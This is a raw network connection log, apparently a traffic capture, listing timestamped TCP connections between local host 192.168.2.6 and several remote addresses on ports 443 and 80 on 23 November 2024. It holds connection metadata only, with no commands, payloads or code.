Nov 23, 2024 19:52:49.019418001 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.019438028 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.019937992 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.019979000 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.020148993 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.020751953 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.020776033 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.423999071 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:49.424067020 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:49.617350101 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.617386103 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.617539883 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.618086100 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.618098974 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.649640083 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:49.649692059 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:49.649954081 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:49.650254011 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:49.650270939 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:49.779220104 CET	49860	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.779247046 CET	443	49860	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.779381990 CET	49860	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.780363083 CET	49860	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:49.780380964 CET	443	49860	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:49.997594118 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.008740902 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.045193911 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.045227051 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.045965910 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.045972109 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.046483994 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.046499014 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.047070026 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.047094107 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.047233105 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.047233105 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.047244072 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.049180031 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.049216986 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.051697016 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.051789999 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.052268982 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.052284002 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.086481094 CET	49866	443	192.168.2.6	18.245.60.72
Nov 23, 2024 19:52:50.086517096 CET	443	49866	18.245.60.72	192.168.2.6
Nov 23, 2024 19:52:50.086570978 CET	49866	443	192.168.2.6	18.245.60.72
Nov 23, 2024 19:52:50.088249922 CET	49866	443	192.168.2.6	18.245.60.72
Nov 23, 2024 19:52:50.088270903 CET	443	49866	18.245.60.72	192.168.2.6
Nov 23, 2024 19:52:50.117320061 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.132008076 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.132036924 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.132550955 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.132560968 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.179663897 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.192167997 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.205523968 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.205571890 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.206017971 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.206032038 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.214247942 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.254899025 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.254926920 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.255877972 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.255892992 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.255975008 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.262991905 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.262998104 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.264899015 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.264981985 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.265302896 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.266752005 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.266907930 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.267293930 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.267302036 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.275487900 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.279153109 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.279185057 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.279831886 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.279836893 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.283956051 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.284754992 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.284781933 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.285813093 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.285873890 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.287250996 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.287332058 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.288045883 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.288059950 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.327919960 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.337016106 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.337033033 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.338180065 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.338227034 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.342863083 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.342938900 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.347462893 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.347472906 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.410955906 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.410957098 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.422879934 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.442868948 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.503875017 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.503957033 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.504074097 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.692300081 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.692338943 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.692354918 CET	49840	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.692361116 CET	443	49840	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.696502924 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.696564913 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.696646929 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.703243017 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.703319073 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.703581095 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.720459938 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.720540047 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.720830917 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.758127928 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.758127928 CET	49845	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.758152962 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.758162975 CET	443	49845	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.759941101 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.759974957 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.759989023 CET	49844	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.759994984 CET	443	49844	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.761918068 CET	49839	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.761940002 CET	443	49839	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.762780905 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.762851954 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.762990952 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.764295101 CET	49852	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.764306068 CET	443	49852	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.767692089 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.767731905 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.767817020 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.771814108 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.771866083 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.771924019 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.772253036 CET	49869	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.772267103 CET	443	49869	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.772857904 CET	49870	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.772869110 CET	443	49870	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.773876905 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.773885965 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.774117947 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.774353027 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.774363995 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.774512053 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.774550915 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.774602890 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.774741888 CET	49872	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.774760008 CET	443	49872	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.807945967 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.808012962 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.808079958 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.809153080 CET	49846	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.809168100 CET	443	49846	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.809505939 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.810705900 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.810798883 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.811332941 CET	49851	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.811351061 CET	443	49851	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.811412096 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811484098 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.811506987 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811517000 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811527967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811541080 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.811566114 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.811609983 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811630011 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811640978 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811650991 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.811650991 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.811672926 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.811697960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.818500042 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.818525076 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.818694115 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.818727970 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.819605112 CET	49873	443	192.168.2.6	13.107.246.63
Nov 23, 2024 19:52:50.819618940 CET	443	49873	13.107.246.63	192.168.2.6
Nov 23, 2024 19:52:50.820240021 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.820290089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.820311069 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.820347071 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.822715998 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.822801113 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.822825909 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.829061985 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.829107046 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.829129934 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.829150915 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.835639954 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.835743904 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.835757971 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.846549034 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.846622944 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.846632957 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.863409042 CET	49854	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.863826036 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.863873959 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.863934040 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.864553928 CET	49874	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.864567995 CET	443	49874	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.865072966 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.865168095 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.865175962 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.865350962 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:50.867208004 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:50.867296934 CET	443	49822	94.245.104.56	192.168.2.6
Nov 23, 2024 19:52:50.867361069 CET	49822	443	192.168.2.6	94.245.104.56
Nov 23, 2024 19:52:50.867692947 CET	49860	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.867769957 CET	49866	443	192.168.2.6	18.245.60.72
Nov 23, 2024 19:52:50.868444920 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.868474960 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.868529081 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.869378090 CET	49875	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.869395018 CET	443	49875	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.880747080 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.880920887 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.880938053 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.892972946 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.893074989 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.893084049 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.895697117 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.895768881 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.895839930 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.895971060 CET	49853	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:50.895988941 CET	443	49853	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.911334991 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:50.911339998 CET	443	49854	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.911343098 CET	443	49866	18.245.60.72	192.168.2.6
Nov 23, 2024 19:52:50.915352106 CET	443	49860	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:50.971031904 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.971044064 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:50.971116066 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:50.989026070 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.989067078 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.989116907 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.989139080 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:50.989190102 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:50.993050098 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.032282114 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.032341003 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.032365084 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.032413006 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.036744118 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.036806107 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.036896944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.036945105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.044455051 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.044512987 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.044637918 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.044656038 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.045167923 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.045530081 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.045653105 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.045708895 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.045753002 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.052463055 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.054352999 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.054430962 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.054462910 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.054569960 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.059958935 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.060172081 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.060185909 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.063195944 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.063258886 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.063294888 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.063373089 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.072081089 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.072179079 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.072230101 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.072387934 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.072484970 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.072494030 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.080868959 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.080926895 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.080984116 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.081023932 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.081599951 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.083144903 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.083173037 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.089755058 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.089808941 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.089850903 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.089988947 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.092917919 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.093059063 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.093080044 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.098645926 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.098731995 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.098738909 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.099667072 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.111351967 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.111365080 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.111382008 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.111428976 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.111478090 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.111495018 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.116276026 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.116359949 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.117063046 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.117126942 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.117151022 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.134599924 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.134701014 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.134716034 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.147103071 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.147264004 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.147289991 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.160394907 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.160530090 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.160542965 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.168349981 CET	443	49856	172.64.41.3	192.168.2.6
Nov 23, 2024 19:52:51.168423891 CET	49856	443	192.168.2.6	172.64.41.3
Nov 23, 2024 19:52:51.174048901 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.174161911 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.174176931 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.175198078 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.175251961 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.175342083 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.175554991 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.175599098 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.175674915 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.176003933 CET	49876	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.176024914 CET	443	49876	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.176158905 CET	49877	443	192.168.2.6	162.159.61.3
Nov 23, 2024 19:52:51.176182032 CET	443	49877	162.159.61.3	192.168.2.6
Nov 23, 2024 19:52:51.187572002 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.187645912 CET	49837	443	192.168.2.6	142.250.181.65
Nov 23, 2024 19:52:51.187668085 CET	443	49837	142.250.181.65	192.168.2.6
Nov 23, 2024 19:52:51.191348076 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.191417933 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.191462994 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.191500902 CET	49831	80	192.168.2.6	185.215.113.206
Nov 23, 2024 19:52:51.195736885 CET	80	49831	185.215.113.206	192.168.2.6
Nov 23, 2024 19:52:51.195780993 CET	49831	80	192.168.2.6	185.215.113.206
